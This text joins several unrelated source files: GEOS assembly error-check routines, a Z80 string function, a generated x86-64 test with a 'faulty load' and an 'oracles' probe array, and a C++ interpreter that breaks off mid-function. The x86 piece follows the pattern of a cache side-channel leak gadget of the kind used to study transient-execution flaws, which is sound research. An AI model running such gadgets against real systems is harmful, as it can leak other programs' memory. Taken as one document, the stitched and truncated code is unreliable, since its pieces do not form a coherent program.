ds:[VMH_assignedPtr] tst di jne 10$ tst ds:[VMH_lastAssigned] ERROR_NE VM_BAD_HDR jmp 15$ 10$: call VMCheckBlkHanOffset 15$: mov di, ds:[VMH_unassignedPtr] tst di je 20$ call VMCheckBlkHanOffset 20$: LoadVarSeg es mov di, ds:[VMH_lastHandle] clr cx, dx 30$: sub di, size VMBlockHandle cmp di, offset VMH_blockTable jb done test ds:[di].VMBH_sig, VM_IN_USE_BIT jz 30$ cmp ds:[di].VMBH_sig, VMBT_DUP ; in-use? jb 30$ mov si, ds:[di].VMBH_memHandle ; in-use; in-core? tst si jz 30$ cmp es:[handleBeingForceMoved], si je flagForceMove checkDiscarded: test es:[si].HM_flags, mask HF_DISCARDED jnz 30$ inc cx ; count another resident jmp 30$ flagForceMove: inc dx jmp checkDiscarded done: cmp cx, ds:[VMH_numResident] je ok ERROR_A VM_BAD_HDR ; if we think more are ; resident, that's a problem add cx, dx ; else add 1 if something was ; being force-moved cmp cx, ds:[VMH_numResident] ; and check that sum ERROR_NE VM_BAD_HDR ; if still off, then we're hosed ok: .leave ret VMCheckDSHeader endp COMMENT @----------------------------------------------------------------------- FUNCTION: AssertESKdata DESCRIPTION: Assert that es = idata. CALLED BY: INTERNAL PASS: es RETURN: nothing, dies if assertion fails DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ AssertESKdata proc far push ax mov ax, es cmp ax, idata ERROR_NE VM_ERR pop ax ret AssertESKdata endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMVerifyWrite DESCRIPTION: Verifies the write operation. CALLED BY: INTERNAL (VMWriteBlk) PASS: es - idata seg bx - VM file handle si - VM header handle ds - VM header di - VM block handle bp - VM mem handle of blk to be written out dx - segment address of block just written RETURN: nothing, dies if assertions fail DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: retrieve block storage data read block into buffer compare data in memory block with data in buffer reg usage: es:di will be used to address VM block in memory ds:si will be used to address buffer KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: Currently verifies a maximum of VM_VERIFY_NUM_BYTES bytes REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMVerifyWrite proc near call AssertESKdata test es:[sysECLevel], mask ECF_VMEM jz done call PushAll call VMCheckFileHandle call VMCheckMemHandle call VMCheckDSHeader call VMCheckBlkHandle if COMPRESSED_VM ; Can't do data comparison because the data on disk is compressed. test ds:[di].VMBH_flags, mask VMBF_COMPRESSED jnz popAll endif cmp bp, ds:[di].VMBH_memHandle ;confirm mem handle jne badWrite mov es, dx ;save block segment in ES ; for later use mov cx, ds:[di].VMBH_filePos.high mov dx, ds:[di].VMBH_filePos.low mov al, FILE_POS_START call FilePosFar mov cx, ds:[di].VMBH_fileSize ;cx <- num bytes cmp cx, VM_VERIFY_NUM_BYTES jbe 20$ mov cx, VM_VERIFY_NUM_BYTES 20$: sub sp, cx ;make room for the buffer mov dx, sp ; on the stack segmov ds, ss ;ds:dx = buffer clr al ; ; For the same reason that we use FileWriteNoCheck in ; VMDoWriteBlk, we use FileReadNoCheck here ; EC < call FileReadNoCheckFar > NEC < call FileRead > jc badWrite mov si, dx ;point ds:si at buffer clr di mov ax, cx ;save # bytes for stack clear shr cx, 1 ;get number of words to compare repe cmpsw jne badWrite add sp, ax ;remove buffer from stack popAll:: call PopAll done: ret badWrite: ERROR VM_BAD_WRITE VMVerifyWrite endp COMMENT @----------------------------------------------------------------------- FUNCTION: VMVerifyUseBlk DESCRIPTION: Traverses assigned list to ensure that no assigned block overlaps that block that has been assigned. CALLED BY: INTERNAL PASS: ds - VM header di - Used VM block handle cx:dx - file pos of allocated block RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 4/89 Initial version -------------------------------------------------------------------------------@ VMVerifyUseBlk proc near uses ax, bx, si .enter pushf call CheckNormalECEnabled jz 90$ call VMCheckDSHeader call VMCheckBlkHandle tst ds:[di].VMBH_fileSize je 90$ mov si, ds:[VMH_assignedPtr] ;get head of assigned 10$: tst si ;at end? je 90$ ;branch if so mov bx, ds:[si].VMFBH_filePos.low mov ax, ds:[si].VMFBH_filePos.high cmp ax, cx ;equal? jne 20$ cmp bx, dx je vmErr 20$: ja 50$ ;----------------------------------------------------------------------- ;file pos of assigned block < file pos of block ;see that last pos of assigned block < file pos of block add bx, ds:[si].VMFBH_fileSize.low adc ax, ds:[si].VMFBH_fileSize.high cmp cx, ax jne 30$ cmp dx, bx 30$: jb vmErr jmp 80$ ;on to next 50$: ;----------------------------------------------------------------------- ;file pos of assigned block > file pos of block ;see that last pos of block < file pos of assigned block ;(equivalently, assigned - used size >= pos of used) sub bx, ds:[di].VMBH_fileSize sbb ax, 0 cmp cx, ax jne 60$ cmp dx, bx 60$: ja vmErr 80$: mov si, ds:[si].VMFBH_nextPtr jmp short 10$ 90$: popf .leave ret vmErr: ERROR VM_NEWLY_USED_BLOCK_OVERLAPS_FREE_BLOCK VMVerifyUseBlk endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VMCheckHeaderDirty %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make sure the header is dirty. CALLED BY: INTERNAL (VMMarkBlkUsed) PASS: ds = VM header to check es = idata RETURN: nothing DESTROYED: flags PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 8/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VMCheckHeaderDirty proc near uses si .enter mov si, ds:[VMH_blockTable].VMBH_memHandle test es:[si].HM_flags, mask HF_DISCARDABLE ERROR_NZ VM_HEADER_SHOULD_BE_DIRTY .leave ret VMCheckHeaderDirty endp ENDIF ;******************************************************* kcode ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved PROJECT: MODULE: FILE: hugelmemEC.asm AUTHOR: Steve Jang, Apr 12, 1994 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- SJ 4/12/94 Initial revision DESCRIPTION: EC modules for hugelmem $Id: hugelmemEC.asm,v 1.1 97/04/05 01:25:26 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if ERROR_CHECK ; ; EC stuff for HugeLMem ; ; ; EC stuff ; ; ; Maximum number of data blocks that a hugelmem can have ; REASONABLE_BLOCK_NUMBER_UPPER_BOUND equ 500 ; ; These numbers are arbitrary. The user should provide real optimal block ; size within this range. (for instance, 4K-8K) ; REASONABLE_MINIMUM_BLOCK_SIZE equ 10 REASONABLE_MAXIMUM_BLOCK_SIZE equ 20000 WARNING_UNREASONABLE_NUMBER_OF_BLOCKS enum Warnings WARNING_UNREASONABLE_MIN_BLOCK_SIZE enum Warnings WARNING_UNREASONABLE_MAX_BLOCK_SIZE enum Warnings ERROR_MIN_BLOCK_SIZE_BIGGER_THAN_MAX_SIZE enum FatalErrors ERROR_CORRUPTED_HUGELMEM_MAP_BLOCK enum FatalErrors ERROR_CHUNK_DOES_NOT_BELONG_TO_THIS_HUGELMEM enum FatalErrors UNLOCKING_HUGE_LMEM_NOT_LOCKED_BY_THIS_THREAD enum FatalErrors ; ; Queue errors and warnings ; WARNING_MAX_QUEUE_LENGTH_TOO_BIG enum Warnings WARNING_MAX_LEN_BY_ELT_SIZE_TOO_BIG enum Warnings ERROR_INITIAL_LENGTH_LARGER_THAN_MAX enum FatalErrors ERROR_MAX_QUEUE_LENGTH_BEYOND_REASON enum FatalErrors ERROR_MAX_LEN_BY_ELT_SIZE_BEYOND_REASON enum FatalErrors WARNING_STRETCHING_QUEUE enum Warnings WARNING_SHRINKING_QUEUE enum Warnings endif HugeLMemECCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECCheckHugeLMemParams %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks to make sure that the parameters to HugeLMemCreate are appropriate. CALLED BY: HugeLMemCreate PASS: ax = number of blocks to be used bx = minimum size for an optimal block cx = maximum size for an optimal block RETURN: Error if bad parameters. DESTROYED: nothing SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- SJ 3/18/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECCheckHugeLMemParams proc far if ERROR_CHECK .enter cmp ax, REASONABLE_BLOCK_NUMBER_UPPER_BOUND WARNING_AE WARNING_UNREASONABLE_NUMBER_OF_BLOCKS cmp bx, REASONABLE_MINIMUM_BLOCK_SIZE WARNING_BE WARNING_UNREASONABLE_MIN_BLOCK_SIZE cmp cx, REASONABLE_MAXIMUM_BLOCK_SIZE WARNING_AE WARNING_UNREASONABLE_MAX_BLOCK_SIZE cmp cx, bx ERROR_B ERROR_MIN_BLOCK_SIZE_BIGGER_THAN_MAX_SIZE .leave endif ret ECCheckHugeLMemParams endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECValidateHugeLMem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: validates a HugeLMem CALLED BY: HugeLMemAlloc, HugeLMemFree, HugeLMemResize PASS: bx = HugeLMem( map handle ) RETURN: signal error if corrupted HugeLMem DESTROYED: nothing SIDE EFFECTS: nothing REVISION HISTORY: Name Date Description ---- ---- ----------- SJ 3/17/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECValidateHugeLMem proc far if ERROR_CHECK uses ax,bx,cx,ds .enter push bx call MemPLock ; ax = seg addr jc error mov ds, ax mov ax, 50 ; hack... just to let it keep going mov bx, ds:HLMM_minOptimalSize mov cx, ds:HLMM_maxOptimalSize call ECCheckHugeLMemParams pop bx call MemUnlockV ; ; Checking semaphore: this is good way to veryfy that HugeLMem is ; valid. But, postponed since I might change ; the semaphore related code ; .leave ret error:: ERROR ERROR_CORRUPTED_HUGELMEM_MAP_BLOCK else ; ! ERROR_CHECK ret endif ECValidateHugeLMem endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECValidateHugeLMemChunk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns an error if given chunk does not belong to given hugelmem. CALLED BY: HugeLMemFree, HugeLMemResize PASS: bx = hugelmem handle ^lax:cx = hugelmem chunk RETURN: nothing DESTROYED: nothing SIDE EFFECTS: error if chunk is not valid PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- SJ 4/12/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECValidateHugeLMemChunk proc far if ERROR_CHECK uses ax,bx,ds,si .enter call ECValidateHugeLMem ; ; See if the block belongs to HugeLMem given ; push ax ; preserve data block handle call MemPLock ;-> ax = seg addr/CF set on err mov ds, ax ; ds = map's seg addr pop ax push ax call FindBufferBlock ; -> ds:si = entry found ERROR_C ERROR_CHUNK_DOES_NOT_BELONG_TO_THIS_HUGELMEM call MemUnlockV ; ; See if the chunk belongs to block ; pop bx ; bx <- data block call MemPLock mov ds, ax mov si, cx call ECLMemValidateHandle ; (don't deref, as chunk might ; be zero-sized) call MemUnlockV .leave endif ret ECValidateHugeLMemChunk endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECHugeLMemRemoveLockRecord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove a lock on the passed block from the lock record for this thread. CALLED BY: (INTERNAL) HugeLMemUnlock PASS: es = segment of data block RETURN: carry set if no more locks for this thread DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 2/15/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECHugeLMemRemoveLockRecord proc far if ERROR_CHECK uses ax, ds, bx, si, di, dx, cx .enter ; ; Lock down the lock record for exclusive access. ; mov bx, es:[HLMDBH_locks] call MemPLock mov ds, ax ; ; Find our thread handle for comparison. ; clr bx mov ax, TGIT_THREAD_HANDLE call ThreadGetInfo ; ; Loop through the records looking for ones for this thread and this ; block. We effectively make two passes. The first search is to find ; a record to nuke. Once the record is nuked, we keep searching until ; the end of the list or until we find another record for the pair. ; This is how we know if there are any more locks on the block by this ; thread. ; mov bx, es:[LMBH_handle] mov si, offset HLMLRH_locks mov cx, si ; cx <- non-zero lockLoop: cmp si, ds:[HLMLRH_free] jae done ; => end of record ; ; See if this is a record for this pair. ; cmp ds:[si].HLMLR_block, bx jne nextLock cmp ds:[si].HLMLR_thread, ax jne nextLock jcxz moreLocks ; => found another lock after ; nuking one, so return carry ; clear ; ; Remove this record from the list. ; push es, si segmov es, ds mov di, si ; es:di <- dest for movsw add si, size HugeLMemLockRecord ; ds:si <- move next one ; down onto this one mov cx, ds:[HLMLRH_free] sub cx, si ; cx <- # bytes to move shr cx CheckHack <(size HugeLMemLockRecord and 1) eq 0> rep movsw pop es, si sub ds:[HLMLRH_free], size HugeLMemLockRecord clr cx ; cx <- we've deleted something jmp lockLoop nextLock: ; ; Not for this block+thread, so advance to the next, please. ; add si, size HugeLMemLockRecord jmp lockLoop done: ; ; Hit the end of the array. If cx is still non-zero, it means there was ; no record of this block+thread pair, which is a Bozo no-no ; tst cx ERROR_NZ UNLOCKING_HUGE_LMEM_NOT_LOCKED_BY_THIS_THREAD ; ; Signal no more locks for this block by this thread. ; stc jmp exit moreLocks: clc exit: ; ; Release the lock record. ; mov bx, es:[HLMDBH_locks] call MemUnlockV .leave endif ret ECHugeLMemRemoveLockRecord endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ECHugeLMemAddLockRecord %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a record of this huge lmem block being locked by the current thread. CALLED BY: (INTERNAL) PASS: ds = block being locked RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 2/15/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ECHugeLMemAddLockRecord proc far if ERROR_CHECK uses bx, si, ax, cx, ds, dx .enter ; ; Find thread handle & block handle. ; clr bx mov ax, TGIT_THREAD_HANDLE call ThreadGetInfo mov_tr si, ax mov dx, ds:[LMBH_handle] ; ; Lock down the lock record for exclusive access. ; mov bx, ds:[HLMDBH_locks] call MemPLock mov ds, ax ; ; See if there's enough room in the block for another record. ; mov ax, ds:[HLMLRH_free] cmp ax, ds:[HLMLRH_max] jb addRecord ; ; There's not. Add some random number of free records to the end and ; enlarge. ; add ax, size HugeLMemLockRecord * 8 mov ds:[HLMLRH_max], ax mov ch, mask HAF_NO_ERR call MemReAlloc mov ds, ax addRecord: ; ; Add a new record to the end (no order maintained) ; mov_tr ax, si mov si, ds:[HLMLRH_free] mov ds:[si].HLMLR_thread, ax mov ds:[si].HLMLR_block, dx ; ; Take up that space, please, and release the lock record again. ; add si, size HugeLMemLockRecord mov ds:[HLMLRH_free], si call MemUnlockV .leave endif ret ECHugeLMemAddLockRecord endp HugeLMemECCode ends
; int __CALLEE__ strspn_callee(char *s1, char *s2) ; return length of prefix in s1 containing chars in s2 ; 01.2007 aralbrec XLIB strspn_callee XDEF ASMDISP_STRSPN_CALLEE LIB strchr_callee XREF ASMDISP_STRCHR_CALLEE .strspn_callee pop hl pop de ex (sp),hl ; enter : de = char *s2 ; hl = char *s1 ; exit : hl = prefix length ; uses : af, bc, hl .asmentry ld bc,0 .loop ld a,(hl) or a jr z, done push bc push hl ld c,a ld l,e ld h,d call strchr_callee + ASMDISP_STRCHR_CALLEE pop hl pop bc jr c, done inc bc inc hl jp loop .done ld l,c ld h,b ret DEFC ASMDISP_STRSPN_CALLEE = asmentry - strspn_callee
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x1028f, %r10 nop nop nop nop mfence movups (%r10), %xmm1 vpextrq $0, %xmm1, %rsi nop nop nop add $38119, %rsi lea addresses_WC_ht+0x61e8, %r11 nop add %r14, %r14 movw $0x6162, (%r11) nop add %rsi, %rsi lea addresses_WC_ht+0x1dee8, %rsi nop nop nop and $20580, %rbx mov (%rsi), %r10d inc %r12 lea addresses_UC_ht+0xc2e8, %r14 clflush (%r14) nop nop nop inc %r11 vmovups (%r14), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r10 xor $46690, %r10 lea addresses_D_ht+0x1703c, %r11 nop add $50838, %rdi mov (%r11), %r14w nop nop nop nop inc %r12 lea addresses_UC_ht+0x89e8, %r10 nop nop nop xor %rbx, %rbx movb (%r10), %r12b nop nop nop nop nop sub %rdi, %rdi lea addresses_A_ht+0x175e8, %rsi lea addresses_UC_ht+0x4ce8, %rdi nop nop xor $57243, %rbx mov $37, %rcx rep movsl nop nop nop nop sub $9564, %rdi lea addresses_WT_ht+0x6be0, %r10 cmp %rcx, %rcx mov $0x6162636465666768, %rdi movq %rdi, %xmm4 movups %xmm4, (%r10) dec %rdi lea addresses_WC_ht+0x6928, %r10 clflush (%r10) and %rsi, %rsi movl $0x61626364, (%r10) nop nop nop xor %rdi, %rdi lea addresses_normal_ht+0x27d0, %rsi lea addresses_normal_ht+0xcf5e, %rdi nop nop nop nop nop and %r14, %r14 mov $21, %rcx rep movsl nop nop sub %rcx, %rcx lea addresses_A_ht+0x112e8, %rsi lea addresses_UC_ht+0x1568, %rdi nop dec %r14 mov $26, %rcx rep movsw nop dec %r14 pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r9 push %rbp push %rbx push %rdi // Store lea addresses_WT+0x54e8, %r9 nop nop nop inc %rbp mov $0x5152535455565758, %rdi movq %rdi, (%r9) nop nop nop nop inc %r11 // Load lea addresses_D+0x1dae8, %rdi nop sub $31037, %r13 mov (%rdi), %bx nop nop nop nop sub $48399, %r9 // Faulty Load lea addresses_PSE+0x9ae8, %r13 clflush (%r13) nop nop nop nop inc %r15 vmovups (%r13), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rbx lea oracles, %r15 and $0xff, %rbx shlq $12, %rbx mov (%r15,%rbx,1), %rbx pop %rdi pop %rbx pop %rbp pop %r9 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 9}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D', 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 7}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 8}} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
// // Created by toebs on 29.03.2020. // #include "interpreter.h" #include <unordered_map> #include "../lexer/lexer.h" #include "../parser/parser.h" #include "analysis/semantic/semantic_analyzer.h" #include "environment/binary_op.h" #include "environment/unary_op.h" #include "executor.h" namespace angreal::interpreter { using namespace environment; Interpreter::Interpreter( error_handler_t error_handler, const std::shared_ptr<environment::Environment>& global) : error_handler_(error_handler), globals_(global), environment_(global) {} void Interpreter::visit(const std::shared_ptr<Program>& node) { for (const auto& stmt : node->statements) { stmt->accept(shared_from_this()); } } void Interpreter::interpret(const statement_t& statement) { statement->accept(shared_from_this()); } void Interpreter::interpret(const expression_t& expression) { expression->accept(shared_from_this()); } void Interpreter::visit(const std::shared_ptr<Block>& node) { ExecuteBlock(node->statements, std::make_shared<Environment>(environment_)); } void Interpreter::visit(const std::shared_ptr<Declaration>& node) { node->expression->accept(shared_from_this()); environment_->Declare(node->identifier, stack_.top()); stack_.pop(); } void Interpreter::visit(const std::shared_ptr<Assignment>& node) { node->expression->accept(shared_from_this()); if (locals_.contains(node)) { environment_->Assign(node->identifier, stack_.top(), locals_[node]); } else { globals_->Assign(node->identifier, stack_.top()); } stack_.pop(); } #pragma clang diagnostic push #pragma ide diagnostic ignored "hicpp-exception-baseclass" void Interpreter::visit(const std::shared_ptr<Return>& node) { if (node->expression) { node->expression->accept(shared_from_this()); auto obj = stack_.top(); stack_.pop(); throw obj; } throw std::make_shared<Object>(); } #pragma clang diagnostic pop void Interpreter::visit(const std::shared_ptr<IdentifierLiteral>& node) { if (auto o = LookupVariable(node->name, node)) { stack_.push(o); } else { error_handler_->RuntimeError( "Identifier <" + node->name + "> does not exist", node); } } void Interpreter::visit(const std::shared_ptr<IntLiteral>& node) { type_t type = std::make_shared<IntType>(node->value); obj_t o = std::make_shared<Object>(type); stack_.push(o); } void Interpreter::visit(const std::shared_ptr<BoolLiteral>& node) { type_t type = std::make_shared<BoolType>(node->value); obj_t o = std::make_shared<Object>(type); stack_.push(o); } void Interpreter::visit(const std::shared_ptr<FloatLiteral>& node) { type_t type = std::make_shared<FloatType>(node->value); obj_t o = std::make_shared<Object>(type); stack_.push(o); } void Interpreter::visit(const std::shared_ptr<StringLiteral>& node) { type_t type = std::make_shared<StringType>(node->value); obj_t o = std::make_shared<Object>(type); stack_.push(o); } void Interpreter::visit(const std::shared_ptr<UnaryOperation>& node) { node->expression->accept(shared_from_this()); auto a = stack_.top(); stack_.pop(); UnaryOP op(node->type, a->GetType()); obj_t o = std::make_shared<Object>(op.Call()); if (!o->GetType()) { std::stringstream ss; ss << "Not able to execute: "; ss << "<" << magic_enum::enum_name(node->type) << "> "; ss << a->GetType()->Stringify() << " "; error_handler_->RuntimeError(ss.str(), node); } stack_.push(o); } void Interpreter::visit(const std::shared_ptr<BinaryOperation>& node) { node->lhs->accept(shared_from_this()); auto a = stack_.top(); 